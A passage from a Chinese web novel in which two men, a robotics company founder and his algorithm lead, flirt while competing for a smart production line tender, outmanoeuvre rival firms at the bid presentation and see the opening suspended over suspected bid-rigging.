方笑贻昧着良心,也说不出“外卖挺好的”这种话,只能冒着酷暑,领着他去了小区西边的综合大市场。 这个市场很大,到处都是五花八门的地摊和小货车,比赶集还热闹。 边煦逛得还挺来劲,虾啊肉的东问西问,一副大采购的架势。 方笑贻赶紧阻止了他:“悠着点悠着点,我们明天下午就出差了,你要想吃回来买新鲜的。” 边煦一想也是,就没怎么买菜,但多买了几样水果。方笑贻有点苦夏,夏天不爱吃热的。 买完回到小区,边煦家里没收出来,又还是方笑贻出厨房。 边煦说他做饭,就真上厨房蒸玉米、切藕片去了。 方笑贻坐在餐桌上剪虾须、扒蒜,看不见他藕片切得怎么样,但听那个下刀的声音很连贯。加上边煦今天穿了套运动服,再套个围裙,那背影看起来还挺贤惠。 两秒之后,边煦忽然说着转过身来:“你会调白灼……” 然后他就顿住了,因为看见方笑贻在桌边笑,那笑容安静、眼神明亮,看起来有种发自内心的喜悦感。 边煦也想知道,跟着笑了下:“你偷偷的在那儿笑什么呢。” 方笑贻心里其实在想:要是能一直这样下去就好了。 但眼下他们这样的关系,这话他还说不了,方笑贻只好瞎掰:“没什么,我只是在想,你一个总工,在我这儿当长工,是不是有点太屈才了?” 边煦当真了:“觉得屈才,给我升级好了。” 方笑贻莫名其妙:“升啥级?” 边煦说:“升我当老公,这就是应该的了。” 方笑贻直接笑出了声:“死道友不死贫道,你还是屈着吧。” 这节气也吃不下太多,边煦弄了3个快菜,白灼虾、炝藕片和糖拌西红柿。 方笑贻吃了顿干净的饭,话题慢慢又扩散开了,从长胜的领导层扯到老同学,然后才发现他还没加刘丞丞。 边煦说:“这几天事杂,等标投完了我再加他,跟谢恒他们。” 第二天,他俩白天都没去公司,到了下午3点半,才一起打了个车,到火车站去跟张侃和刘桥碰头,去了江东。 第74章 到了酒店,行政提前给订了2间房,方笑贻自然跟边煦住。 只是开标在即,两人心里都挂着正事,又有电灯泡在房里来来去去,留给他俩独处的时间也不多。 吃完海底捞回来,张侃就过来演示讲标了。 现在流行电子标,线上投、线上评,一般都不讲标了。 不过智能产线这个标的特殊,开始就不是公开招标,是邀请制,连招标文件都是刘桥出差去招标公司那里买的。之前他们还去现场踏勘,流程十分复杂。 所以这个不仅要讲,到时候还需要回答专家的问题。 方笑贻跟边煦就在沙发上cos专家,嘀嘀咕咕地猜测,评委可能会提的问题。 到了8点半,出去打听消息的刘桥又来了,脸色还不是很好看。 方笑贻问他:“怎么了?” 刘桥一把抄起桌上的水,灌了一口才说:“我先说结论哈,不一定准,就是磐夕跟招标代理之间可能有勾连,私底下制定了一些控标条款,比如顶级的技术、学术人员的比例需要达到多少,这种。” 方笑贻闻言脸色一变,转头和边煦对视了一眼。 因为在通过资格审查的6家投标单位之中,他们原先锁定的对手并不是磐夕科技,而是纬创机电。 磐夕科技虽然有名,但它家是故事型的公司,营销一流,却没有拳头产品。 纬创则不一样,它本身就是国内最牛的微传动供应商,现在拓展出了灵巧手业务而已。 不过生活就是充满意外,方笑贻又去看刘桥:“你这消息哪儿来的?” 刘桥说了个人名,在座3个都不认识,刘桥又补充了一句:“他半个月之前,还是磐夕的员工。” 大家的面面相觑之中,这才显出凝重来。 然后边煦插嘴说:“这个人可信吗?” “我不认识,而且是他联系的我,所以存疑。不过我去捋了下磐夕招人的新闻,老板、煦总,你们看哈。” 刘桥说着摆弄两下手机,接着递给了方笑贻:“这是磐夕最近的招人公告,可以往后翻。” 边煦本来在沙发上,为了看内容,起来绕到方笑贻旁边坐下了,左手撑在他背后,怀抱则跟他的手臂相贴。 方笑贻感觉到了,但是没给反应。 关了门他虽然爱炸毛,但那是因为意识里是安全的,心里没设防。到了外面,他精神没那么松懈,还是会给边煦面子。 两人凑一块儿看了3张截图,都是这种风格: 90后机器人大牛xxx加盟磐夕! 磐夕背后操盘手,系原争气厂副总裁 学霸搞技术+大佬组CP 方笑贻看得直眯眼睛,还扭头调侃边煦:“我是不是怠慢你了?要不回头我也给你这么整一个?” 边煦从后脑勺方向扒了下他的头:“别祸害我的风评了,谢谢你。” 对面的床上,刘桥看完热闹,又接着说:“这些大佬加盟新闻的时间线,很巧,无一例外,全部都集中在江东这个标的招采启动之后。” 方笑贻闻言,感觉还挺像那么回事:磐夕没有新品要发布,但却踩点又密集地招这么多人,刘桥的猜测说得通。 张侃性子直,已经气得够呛了:“靠,搞量身招标,我举报不死他们。” 方笑贻叫他冷静点,又叫刘桥别声张,因为没有切实的证据。另外方笑贻也不能确定,磐夕背后,还有没有发标单位的身影。 对于明天来说,这实在不是个好消息。 方笑贻叫刘桥再去打听,张侃回去睡觉。 “我们都要被潜规则了,我还睡得着?”张侃骂骂咧咧地走了。 方笑贻则跟边煦在房间,研究磐夕可质疑的点,以及他们新招的大佬,有没有什么跟产线改造相关的论文或项目。 两人忙活到11点半,方笑贻还没有去睡的意思。边煦直接把电脑盖住了,叫他去睡觉。 方笑贻迟疑了下,还是去洗完回来躺下了。只是等边煦洗完出来,他还睁着个眼睛在发呆。 边煦擦了下头发,走到他床边说:“担心落选,睡不着啊?” 方笑贻闻言回过神,抻起眼皮看了他一眼。 天地良心,他自己刚刚在想的,其实不是产线的标的。 方笑贻投过很多次标了,从还是小透明的时候开始,这方面的心态其实已经练过来了,尽人事、听天命。退一万步讲,他对自己的公司和产品,还是有点非他不可的底气在的。 方笑贻只是在想,边煦方才陪他讨论以及管他的样子。 那些垂眼、挑眉、摇头的细节,就像小情侣聊完天后意犹未尽、还在翻看的记录一样,在他脑中不断闪回。 也在不断提醒着他,当边煦在他身边的时候,他可以省掉多少心思?可以说睡就睡。 不过稀里糊涂的,方笑贻还是“嗯”了一声,因为只有谈工作,一会儿才能睡得着。 边煦看他反应迟钝,以为他是累的,还当真了,很快在他床边坐下了,柔声说:“别操心了,睡吧,磐夕想要中标,没那么容易的。” 方笑贻:“理由呢?” 边煦和缓地说:“他们没有代表产品、没有落地项目、交付的问题也很大,理论上,是不该中标的。不过呢,要是他家就这么中标了,还有公示期在,我们有时间去查刘总说的控标,总能给他推到废标的。” 方笑贻有点好笑:“你说废就废,你招标局局长啊?” “对,”边“局长”说,“赶紧睡。” 方笑贻觉得也是该睡了:“行,中不了标就找你。” 边煦无语地瞥他一眼,又想起什么似的,弯下腰,脸朝他凑近道:“可以,但权责要对等,要是中了,我也得要奖励。” 方笑贻不该接这一茬的,但他心口太痒了,像被绒毛扫到了一样,没过脑子就回了句:“什么奖励?” 边煦趁火打劫,眉开眼笑道:“跟我和好,在一起。” 方笑贻白他一眼,就知道他会这么说,但嘴一张,拒绝又卡在了嗓子眼:因为拒绝就代表,会中不了标。 这可太不吉利了,方笑贻只好眼珠子一转,层层加码道:“行,中了就和好,一分……不,一秒钟。” 可一秒钟够干个啥?边煦觉得他太好笑了:“给你颁个奖吧,全国最小气奖。” * 江东这边,上午9点半开标,地点在横桥的评标室。 方笑贻昨天笑着睡的,又没做梦,醒来的时候精神还挺饱满,一睁眼又看见边煦睡在走道对面。 不是以前那种四平八稳的睡姿,边煦侧蜷着朝他这边,半边脸陷在枕头里面,一只手搭在旁边,看起来安稳松弛。 对方笑贻来说,这是一个挺圆满的画面了,于是他没立刻起来,躺着看了边煦一会儿。不过到了7点半,他立刻把边煦喊醒了,起来洗漱收拾。 出门之前,方笑贻把茶盘上的碎渣子茶包给顺走了,到了餐厅,他又让边煦多吃点。 一通操作,把边煦整得挺茫然,问他说:“怎么?我们是要去什么弹尽粮绝的地方吗?” 方笑贻被他的用词逗乐了:“横桥这个评标室,不能说是弹尽粮绝,但可以说是除了水,啥都没有。加上这个标的的技术新,提问环节要是一长,午饭就很难保是几点了。” “你这经验还挺丰富,”边煦夸完他,眼神莫名又黯然了一下,“没少挨饿吧?” 方笑贻说还好,十分钟后出了酒店,看见他拐去711,买了一把士力架和巧克力。 9点不到,他们就到了评标室所在的区域大楼大厅。这边,因为怕迟到,已经有竞标单位先到了,但电梯和楼梯间都拦着,这会儿还不让上去。 有人跟他打招呼:“方总,早啊。” 方笑贻回以寒暄:“刘总更早。” 期间有人打量边煦,他生得扎眼,不太容易被忽视。 纬创的小林总最先发问,看着边煦问方笑贻:“方总,这位是?” 方笑贻在外面,对边煦表现得还是尊敬的,介绍道:“林总早啊,这是我新请的算法总工,边煦。边煦,这位是纬创的商务总监林瑧,林总。” 边煦跟林瑧握了手,打过招呼后,林瑧松了手,但依然在问:“边总这么一表人才,冒昧问一句,之前在哪儿高就啊?” 边煦感觉他话里有话,不由打量了他一眼。 只见这人跟自己年龄相仿,椭圆脸、大眼睛,面中略有点长,是个冷傲的面相。但是此刻在笑,但笑意又不达眼底,给人的感觉不太友善。 边煦嘴角扯得幅度也小:“没有高就,之前在读书。” 林瑧一撇嘴角:“那学历一定很好了?名校博士?博士后?” 边煦说:“没有,就是普通学历。” 林瑧嗤笑一声,表情明显没信,对他说了句“太谦虚了”,又转眼对方笑贻说:“真好啊,你们这一家两家的,都在偷偷地招兵买马,只有我们这种笨蛋公司,还在老老实实地写标书。” 话到这里,方笑贻要是还没感觉到那种绵里藏针的针对劲儿,他也不用混了。 他目光直接道:“小林总,你是不是误会了什么?” 第75章 林瑧歪嘴一笑,神色讥诮。 方笑贻也不待见他这个傲慢的德行,但还是耐着性子说:“谁家招兵买马会只招一个人哪?而且我这还是员工被挖了,火烧屁股找的人,林总羡慕错人了。” 林瑧犹自狐疑:“哦,是么?” 方笑贻说:“是不是,查一下纳税人数量有没有变化不就知道了吗?” 林瑧神色一动,又凝视他两眼,脸色缓和了些:“有道理,我会去查的,你们聊。” 说完匆匆带着他的人又出去了。 等他走远了,张侃立刻开始吐槽:“这个纬创的接班人,咋看着不太聪明的样子。” “不至于,人家不是挺听劝的吗?”刘桥说,“可能是刚接到消息,又赶上我们这边有新面孔,就把我们也给扫射了。” 方笑贻估计也是:“这也不是什么坏事,纬创得到了风声,待会儿开标要是磐夕第一,那交流环节就会很有意思了。” 边煦看他那副有点幸灾乐祸的样子,友情提示道:“可万一第一是我们呢?他们也会不遗余力针对我们的。” 方笑贻确实被刘桥的消息误导了,眼皮一抻说:“……那还扯什么淡啊?赶紧看资料啊!” 可实际上,他们还是找了个角落,在继续唠嗑。 资料是看不完的,水平也不可能在几分钟内突飞猛进,还是松弛一点上会算了。 唠到9点20分,出去的林瑧又进来了,跟另一伙人一起。 他这边是3个人,对方是5个,一下进来8个,声势浩荡得令人瞩目。 方笑贻打眼一看,跟林瑧并行的有2个人。 一个挨着他,走在3人中间,中等个头、戴黑框眼镜,正在跟他说话的,是磐夕的联合创始人李至宸。 另外一个在李至宸左边,穿白衬衣,发际线和个子都挺高,是磐夕招人公告里那个机器人大牛,许剑南博士。 很快,不知道林瑧说了什么,那两伙人直奔着他们这个角落就来了。 张侃看得直皱眉:“干嘛?联合起来想搞我们啊?” 方笑贻看着却不像,林瑧那个表情分明不怀好意。而李至宸和那个许博士,在看的人好像都是边煦。 可边煦又不认识他们,所以他们对边煦的关注,只能是来自于林瑧的“引荐”了。 趁着这些牛鬼蛇神还没到跟前,方笑贻往边煦那边一歪,开始窃窃私语:“他们在看你,你看到了吗?” 边煦“嗯”了下。 “你猜,那俩为什么看你?” “那个姓林的给我拉仇恨了吧。” 方笑贻点头:“八九不离十,你是新招的,那个许博士也是新招的,他巴不得我们跟磐夕先较上劲,待会儿交流的时候最好打起来。” 边煦说:“那他心眼儿还挺多。” 方笑贻“啊”了一声,又说:“不过标的就这么一个,有没有他,待会儿都得打。” “打就打,”边煦气定神闲道,“没事。” 方笑贻瞥他一眼:“这么自信?” 边煦还没说话,张侃忽然插嘴说:“妥妥的,吊打。” 方笑贻无语地看他一眼:“狐假虎威,就吹起来了是吧?” 张侃嘿嘿地乐道:“必须吹,谁叫丫上次鄙视我们,还不承认来着。” 方笑贻刚要说:你就是闲的。 边煦就开口了:“谁鄙视你们了?” 张侃立刻意有所指地往前面一瞥:“喏,中间那位。” 然后边煦才知道,他们跟李至宸这个人,还是有点过节的。 最早,磐夕的运营在网上抹黑他们,说他们家销售脾气大、交付一直延期、售后也没人管……当然,他们也抹黑别家。 云枢这边发现之后,截了证据去要说法。 李至宸当时态度可好了,说查清了一定严惩。可等刘桥一回来,对面干活的就成了临时工,删帖销号不见了,找他们李总呢,诶呀忙得很。 再又是上次,他们去江东工厂踏勘。 李至宸又一直跟长胜的领导吹,他们这个总监来自卡内基梅隆、那个来自麻省理工,个个都有顶刊顶会。吹完立刻点名了方笑贻,请教云枢的研发团队构成?问能否会后过去交流。 实际上,云枢研发部的学历,基本都是C9的硕博,而且全部来自于国内机械机器人板块的头部院校,不算低了。 但长胜有个姓王的领导,不知道是外行,还是磐夕的拥趸者,当场就开了个玩笑:“那这个,小方啊,你们公司学历,还是得往上提一提。” 大家虽然都在笑,但当时,方笑贻跟张侃才是那个笑柄。 这使得张侃现在提起这事,表情还是相当无语:“真的是醉了,都出来打工不知道多久了,吹牛还要带学校,工作上就这么一事无成?说不出口吗?” 其实一般还真是这样,但凡抓着学历不放的,说明学历就是人生的巅峰。 比如边煦,他就不需要说他是哪个学校毕业的,只需要说他是[星域]的主算法,内行自然知道他的份量。 但大庭广众之下,公司的名声还是要注意的。 方笑贻眼见着人过来了,赶紧压低声音说:“行了,有啥牢骚,都回酒店再说。” 张侃刚要说:嗨,行吧。 边煦忽然对他来了句:“人家不说,你可以问啊。” 张侃愣了下,不过他反应快,立刻贼笑起来,比了个ok说:“妥!一会儿他们要是敢装比,我就卯着工作问。” 方笑贻看看这个,又看看那个,到底也没说:悠着点。 因为方笑贻敢肯定,李至宸包装的。 这人本身吃了学历的太多红利,他毕业于top1院校,一毕业就被选为“天才少年”,进了争气厂,拿百万年薪。之后离职创业,也一直营销学历和“天才少年”。 在他的成功路上,学历至关重要,所以他大概有了路径依赖,很爱炫耀这个。 * 两分钟后,林瑧两拨人到了正常音量可交流的距离。 方笑贻见他伸出右手,指尖对着边煦一比划,又皮笑肉不笑地对李至宸说:“李总,我没骗你吧?方总家的博士是不是很出众?” 他夸得包藏祸心,方笑贻听得也眯眼睛,一边佩服他这翻脸的功力。 对面,李至宸却接受良好,笑眯眯道:“是,我上次见到这么帅的博士,还是鹅厂那个去拍恋综的程序员。”说着,他还对边煦点了下头。 边煦压根不知道他在说啥,不过出于礼节,还是回点了一下。 李至宸又看向方笑贻,长袖善舞地先比了个大拇指,又变幻成来握手的姿势。 “方总的眼光向来都是这个,早啊方总,我还在外面,就听林总说你挖了一员大将,我们嘛,就过来膜拜一下。” 他这人技术不好说,但撇开用心,说话是好听的,乍一看也真诚,不像是个笑面虎。 方笑贻哪儿敢让他们膜拜,赶紧伸手,谦虚起来:“李总,话可不敢这么说,谁不知道,您家才是国内国外,到处重金挖大佬。” 客套过后,就是相互介绍。 李至宸这边,他只介绍了他新挖的博士:“这是许剑南许博士,我从谷歌学术挖来的CTO。” 要不是因为昨晚才看过他家的招人公告,方笑贻这边4个人,其实都不认识这个博士。 但不认识其实很正常,因为学术和工业界的细分领域太多,极少有人能成为通用明星,除非你是马斯克。 方笑贻嘴上还是客套:“许博士您好,久仰大名,很荣幸能见到你。” “你好你好,方总。”许剑南跟他握了手。 出乎方笑贻这边所有人的意料,这个许博士人竟挺随和,而且性格还有点拘谨,这明显像是个埋头搞研究的主。 方笑贻一下不懂了,以他这种性格,又怎么会那么高调地加入磐夕?怪违和的。不过他对这许博士印象不坏,便趁人不注意,冲张侃摇了下头,叫他先别针对人家。 但轮到他们这边介绍之后,李至宸却盯上边煦了。 他握完手就说:“我听林总说,边博士是方总这边新请的算法总监,这么年轻就能当云枢的总监,那履历一定相当耀眼了。边博士,方便问一下您的毕业院校和导师吗?” 边煦面不改色道:“方便,但是李总问这个干什么?” “没什么,就是随便问问,”李至宸脸上也没异色,笑着说,“因为我们这边,各路院校的人都有,搞不好会有你的校友。” “哦,这样啊,”边煦说,“我是CMU的,导师是Matt Lynch。” 这话一出,李至宸一下没做声,因为这个学历,他就是拿许博士来也优越不动。 与此同时,许博士又忽然激动了起来,他盯着边煦说:“Matt?是做Robotic Manipulation的那个Lynch教授吗?” 边煦“嗯”了一声:“许博您认识他吗?” 许剑南说:“谈不上认识,我只是上次在波士顿动力的项目部,见过他一面。但我本人,是非常崇拜他老人家的。” 他俩忽然就友好起来了,不止林瑧和李至宸,连方笑贻都呆了一下。 这是什么走向?逼王原来在我身边? 第76章 后面,李至宸又打着交流的旗号,炫了下许剑南的工作。 他说:“在加盟我们公司之前,我们许博士是在谷歌学术,做“真机强化学习系统”研究的,边博士您呢?” 方笑贻心里觉得他真是够了,直接把他的句式一套,说:“我们边博士之前在OpenAI,做LlaMA3.1的模型研究,李总你呢,您最近在忙什么研究?” 李至宸笑容顿时发干,按他的起点,要是有心思研究什么模型,也不至于一天到晚说这个那个了。 加上,李至宸自己是以算法入行的,3.1的分量他也清楚,很快就优越不住,借口说要带许剑南去认识下逸动的人,先告辞了。 他前脚一走,张侃后脚就乐了个够呛:“只是装比失败而已,跑得倒也不用这么快。” 方笑贻吹上瘾了,还没出戏:“快还不好?说明我们边博士是真正的大腿。” 边煦听他一口一个博士,感觉还挺好笑,问他:“是吗?可我平时也没见你有多尊重我?” 方笑贻说:“尊重尊重的,都在心里。” 边煦真是无语了。 两分钟后,区域交易中心的工作人员就出来撤掉围栏,叫大伙上3楼的开标室去。 方笑贻4人应流程,上楼存完包和手机,又给监理方验过投标文件的密封性和资质,进到开标室里坐下了。 里边,行业、监理、发标方的领导和评委已经就位了。 桌上也不像方笑贻说的啥也没有,有一张铅笔和会议用纸。 然后前半截都是固定流程,主持人介绍与会各方、监理领导宣读规则、招标单位自述资质等,十分枯燥。 直到20分钟后,进了唱标环节,室内的气氛才重新紧绷起来。 文件规定的唱标人姓寥,是名中年男士,他应流程上了台,手里带着一张发票大小的白纸,很快宣读起来。 “大家好,”他环顾道,“我是唱标人廖闵,现在我将按照顺序对投标人进行唱标,第一中标候选人……” 这瞬间,方笑贻心里莫名有感应似的,忽然一下提了起来。 随后,唱标人头也没抬地念道:“磐夕科技有限……” 果然,第一候选不是他们。 方笑贻的心只好又往下沉,这就是现实的冲击力,无论怎么做心理准备,失落和心酸还是难免。 不过下一秒,有只手就在他背心上拍了两下。 那力道很轻,但节奏平稳,透着一种镇定的气场。 方笑贻的伤感本就不多,又迅速被这点安抚击穿,立刻转头看了边煦一眼。 右边,边煦却没看他,眼睛盯在评委席上,目光专注而若有所思。 方笑贻瞬间会意:他在观察评委。 与此同时,室内忽然“邦”的一响。 那是椅子腿被踢到的动静,挺大一声,弄得室内一阵东张西望。 方笑贻跟着某些视线,很快就看到了林瑧阴沉的脸色。 主持人也发现是他制造的,立刻提醒了一声:“各位投标人,请保持会场安静。” 话音落地之前,方笑贻跟林瑧对上了一下视线。 林瑧怔了下,脸色忽然缓和了些。 方笑贻感觉到他在释放一种同病相怜的怨种信号,不由也对他苦笑了一下。 很快,标就唱完了,云枢因为造价和工期都比磐夕要略高和场,是候选二。纬创则因为双低,成了垫底三。剩下3家是打酱油的。 一般的开标走到这里,候选一基本就是本场的中标人了。 但这场还有个技术疑难要评,所以李至宸虽然喜形于色,但也没嘚瑟,忙着在纸上跟许剑南交代,叫他务必接住评委的所有疑问。 可许剑南生性严谨,只在纸上写了一句:[我尽量] 李至宸本来还想push一下他:尽量不够,必须是一定 但台上主持人已经宣布完了讲标规则,喊了他的名字。 磐夕这边,讲标这一环,李至宸是亲自上的。 他喜欢演讲,功底也不错,而有一说一,作为“知名的影视”公司,他家在展示板块的实力能达到200%。 PPT精美、动图高端,李至宸又是个讲故事的高手,上来就文采斐然地来了一段。 “作为机器人领域的从业者,我经常告诫自己,在仰望星空的同时,也要俯身耕耘,解决真实世界中的具体问题,推动世界进步……” 把饼画得又大又香,忽悠得一些领导和个别评委频频点头。 在此期间,方笑贻跟边煦却是掰开揉碎地认真听了,并各自做了不少笔记。 等到李至宸讲完,评委和业主先对他提了问题。 评委当中唯一的女专家最先问道:“我看你的讲义,写得非常漂亮,但实际的案例分析篇幅还是少了些,我觉得产线这种超复杂环境的技术创新,对经验的要求还是很高的。这样,你再给我们讲一个吧,符合产线这个标的规模的项目经历。” 这个李至宸叫他带的项目经理答了。 然后业主的领导又问:“我问一个哈,你要怎么解决我们汽车总装车间,线束整理的难题?” 这里没有手机可用,一切答案只能靠知识储备。 李至宸的主业早就不是研究了,他答不上来,把问题传给了许剑南。 可因为投标离产线还很远,许剑南也没准备到汽车工厂的问题上去,但他也没沉默,拿叠毛巾的策略改编了一下。 “这个,我们可以将任务拆解成绕线、拉动电缆、整理这3个动作,再上仿真进行训练,直到成功率达标。” 领导又说:“听不太懂,你能给估个大概,这个成功率需要多长时间、得要多少钱吗?” 许剑南给了个时间,但钱含糊过了,因为他不懂成本。 但是方笑贻擅长拆分成本,他把这个问题记了下来,又一扭头,看见边煦唰唰的,已经在纸上写了一大堆。 电缆布线策略:(上层原语序列) 1、绕电、拉线,分城2→鲁棒性 2、视觉信息→可变形电缆与夹子间的复杂交互 3、底层策略失败,上层策略触发纠正 可参考:2024TRO-Cable Routi…… 方笑贻顿时笑了下:行吧,技术也有人懂了—— 虽然不知道是不是瞎扯的,但是看起来,还是比许剑南的答案要唬人一些。 第77章 台上,许剑南把问题转给了他们的预算。预算给了个跟标书上没什么差别的答案。 业主的这位代表,方笑贻之前去长胜集团的时候没见过,这人个子不高,戴细框眼镜,脸黑手白,明显是个常在太阳底下跑的。 他脸上看不出喜怒,只是立刻又问那个预算:“对于我们汽车产线这么复杂的项目,你们要怎么控制误差率呢?” 磐夕的预算答不上来,说话的便又成了李至宸。 他侃侃而谈,讲了一串灵巧手在算法上的控制手段,比如关节力矩前馈补偿、八组逆解智能筛选等等。 可业主哪里听得懂这些?眉头一皱,来了句:“好,谢谢你的解答,我没有其他问题了。” 方笑贻见状,视线顿时在业主和李至宸之间来回了一遭,随即低下头,在草稿纸上写了句话,推到了边煦那边。 [这个业主,好像对磐夕不太满意。] 边煦还在做记录,看见纸条头也没抬,在下面回了一句:[可能长胜内部有分歧,对我们是好事] 方笑贻估计也是。 像智能产线这么大的标的,哪怕是内定,中标单位也不能太离谱,差到资质都不够。资质以上,才是活动的空间。 赵老总是希望这个项目归云枢来做的,但背后可能还有什么王老总、张老总吧? 方笑贻很快在边煦的字下面打了个√。 边煦看他一眼,笔尖在纸上转了转,又写了一句:[智能物流分拣—张侃全程参与了吗?] 那项目张侃来之前就做完了,方笑贻打了个×,又写:[怎么] 边煦下笔如飞:[业主关心误差率,讲一下这个,初始/最终误差、原因、优化过程] 讲标环节,磐夕大概也控标了。主持人会前宣布了,会上不允许对其他家提出质疑。这对候选排名靠后的单位,其实很不利。 所以,他们就讲自己项目的误差率。 方笑贻正在想这个,心有灵犀的就来了,他欣赏地看了边煦一眼,不过怎么讲,方笑贻还得想想。 于是,等到李至宸开始致谢,在他们这排,一张纸也被推到了张侃面前。张侃一扫,最先看见的就是底下那排红字。 [侃,讲标换我——方笑贻] 两分钟后,方笑贻上了台,他没有李至宸那么有文采的引语,展望也是一语带过,前面听起来平平无奇。 直到讲义翻到“JD智能产业链-分拣”这页,他才放下翻页笔,边说边并起四指,轻轻指了下业主。 “这是我们前年,跟JD探索研究院,一起合作的智能分拣线,它后来被选为国家级智能制造示范工厂案例了,7x24h不间断运营、6s分拣一个件、误差率控制在0.3‰以下。” 有了“国家级”的背书,评委的神态立刻不一样了。又听到0.3‰,那个业主眼前一亮,直接抬了下手,打断了方笑贻。 “0.3‰,”他面露怀疑,“这么低吗?” 方笑贻笃定地看着他说:“是的,0.3‰,比行业的标准误差率1‰要低。” “不是低,是低很多,”业主说,“来,你给我讲讲,你们是怎么做到这么低的?” 方笑贻压匀语速,一边措辞一边输出:“好的。算法、硬件上的精益求精,什么前馈补偿、智能筛选之类的……” 说到这里,他刻意看了李至宸一眼,并盯着对方说:“这是每个厂家都会做的,我就不赘述了。” 话音刚落,下面就有人“噗嗤”一笑。 笑的人自然是林瑧,他是故意的,所以“噗”得特别响。 张侃见他在瞪李至宸,出于同仇敌忾,也跟着怪笑了一声。 另外两家也郁闷,凑热闹,也是哭笑不得。 弄得室内嗤笑声起伏、视线乱飘,会议纪律逐渐轻浮。 但李至宸面不改色,那个心理素质,方笑贻也得夸一句牛比。 主持人不得不再次出来强调安静,很快屋里安静了,但领导尤其是业主的脸色,却已然黑了不止一个度。 谁家投标的没事这么笑?这分明是一种不满和控诉。 业主目光沉沉地扫向了评委席。 与此同时,方笑贻却看着他,若无其事地继续道:“这里我主要给您讲一下,我们的手在安装到产线上,进行分拣之后的误差率和优化,行吗?” 业主的表情还很严肃,但他闻言坐起来了一点:“可以。” 方笑贻注意到他的动作,心里一喜,赶紧翻到了有产线照片的页面,指着它说:“请看,这就是我们当时设备刚刚上产线的照片,当时我们设计的误差率是1‰。但是诸位知道,实际流水线启动之后,我们的误差率达到了多少吗?” 他停在这里,留了一丁点空白,随后双手的食指交叉,比了个数字:“10‰。” 他略略环顾一下,视线又落回了业主身上:“所以哪怕是分拣包裹,这么单一的作业,真上了产线,误差率也是能飚出10倍的。” 这话一出,台上台下不少人都开始面面相觑,似乎被这个数据震惊到了。 可方笑贻目光掠过中场时,却看到了边煦笑着对自己挑了下眉。 那表情柔和又得意,仿佛自己讲得挺好似的。 可满座都是怀疑的目光,方笑贻一边觉得他像个马屁精,另一边心里又忍不住,有点飘飘然的小喜色。 那种感觉有点鼓舞,也很踏实。 方笑贻冲他微微一笑,很快目光又绕回评委席,说:“听到10‰,大家是不是在想,是不是我们云枢的品控不行?不是的,请看。” 他说着又往后翻了两页投屏,大屏上出现了一个“战略合作伙伴”的荣誉标牌。 牌上抬头是“云枢科技”,授与单位是“JD物流技术开放平台”。 那人家都战略合作了,品控的问题不攻自破。 方笑贻又说:“那问题出在哪里呢?在分拣这个项目中,问题主要在视觉,也就是让机械手臂‘看’的点上。” “那么多的包裹,大小高矮位置、不同物流公司的订单模版不同等因素,按照甲方6s挑拣一个件的要求,相机必须1s成像一次,频率太高,传感器发热之后,误差率就会暴增。” “另外还有,传货履带速度不稳、订单文字污染、车间灰大,机械手臂抱死等很多原因,综合起来,误差率就直奔10‰了……” 为了控制时间,方笑贻后面语速变快了不少。 但边煦觉得那种速度,在这个场合底下出奇的合适,刚好跟李至宸那边的泛泛而谈形成对比,有种信息量爆炸的紧张感。 等他讲完,上一轮问李至宸水问题的一个男专家率先发问了。 他说:“贵公司在手部的实力,业内是没有人怀疑的,但本次项目要求的是协作,也就是平台+机械臂+手。而据我所知,你们的平台研发是弱项,之前的项目,都是借的臂协作单位,慧灵科技的平台。我请问你,如果本次在臂的分段这边,中标的不是慧灵科技,那么平台这个问题,你们要怎么解决?” 方笑贻闻言,顿时和边煦对视了一眼,但眼底却是一种惊喜。 哪怕不用考试了,边煦还是押题的神,直接就注意到了他们跟慧灵绑定太多的问题。 而来之前,他们已经讨论好答案了。 所以方笑贻能挺井井有条地说:“专家您好,我觉得你可能误会了些什么。第一,我们跟慧灵的平台是共同开发的,不存在“借”这一说。第二,我们也有和千手、傲世这些臂公司的协作项目,这些的平台,甚至还是我们公司独立研发的。而如果它们真的这么弱,那项目应该是落不了地的,您说是吗?” 这个专家根本不知道什么千手、傲世的项目,一下哽住了。 方笑贻心里也是庆幸,这两个都是毛毛雨项目,规模不大,做得又早。要不是因为边煦提醒,他们专门去翻过一通,临时被刁难又去想,大概根本想不起来。 业主见评委不吭声了,很快拨过麦,又提了一遍那个线束整理的问题。 方笑贻心里有点好笑,不知道是该觉得边煦克他,还是他俩其实是技术性的投缘。 “这个问题,我叫我们的算法来回答您吧,”方笑贻说着,冲台上往下勾了下手指,“边煦。” 边煦应声站起来,把他写的策略关键词,尽量深入浅出地给业主讲了一遍,还给了对方两份参考论文。 业主拿笔记了,又问了他一些问题:视觉信息怎么处理、根据分拣那个项目,推测产线可能会遇到的问题…… 边煦举一反三的能力挺强,都详实流利地答上了。 业主对他挺满意,放下麦之前,居然对他说了句“请坐”。 后面,还有2个专家提问,不过问题都出在标书上,方笑贻自己答完下来了。 下一家是纬创,林瑧这边,上台的是他们研发部的主管。 他们也挺精,学着方笑贻这边的模式,也侧重在一个重大的具体项目上,并且直接跟造车相关,是一个精度相当高的汽车零配件工厂。 只是美中不足,它用的是老式半自动化的技术,跟业主对智能的诉求冲突了。但因为他家是扎实做实业的,业主代表对他们也比磐夕客气点。 后面3家随便讲了讲,谁都不上心,很快过了。 接着,领导和评委集体进了内门后面的小会议室,在一阵漫长的、意压低的争论之后,一行人又集体出来了。 然后主持人面有菜色地说:“诸位,非常抱歉,今天的开标会,因人为因素需要临时关闭半个月,我们会……” 话没说完,方笑贻已经心花怒放了,然后他习惯性地转过头,看见边煦在旁边看着他,也在笑。 方笑贻心里顿时浮起一种幸福感来:他回来了真好。 第78章 根据协商,开标会暂停10天,个中原因和重启时间等细则,业主将在2天内公告到位。 这个结果,李至宸自然不满意,脸色铁青地离开了开标室,并且走得飞快。林瑧要挖苦他都没追上,只够功夫回头,跟方笑贻他们道了个歉。 “不好意思,误会你们了,但是重新开标,大家还是竞争对手,所以这会儿也不装什么友好了,开标再见,走了。” 说完,他也行色匆匆地走了。 方笑贻这边讲标取巧、答疑又好,2个人就把活揽齐了,有种不在一个图层的专业度。林瑧感受到威胁,急着回家也去招个博士。 等过道里的人都走得差不多了,张侃才“切”了一声,发起牢骚来。 “什么人为因素?不就是磐夕串通评委作弊吗?除了第一,谁吃饱了撑的去串通半天,还给自己整个落选啊?长胜居然还给他留脸了,也是能量不小哈。” 但对方笑贻来说,这却已经比他原先预料的定标之后,再去推动废标、重启要简单了太多。一般是做不到这个份上,他们还得感谢,来的这个业主代表够强势。 方笑贻叫张侃少说点,下楼时又刻意落后几步,正儿八经地跟边煦说了谢谢。 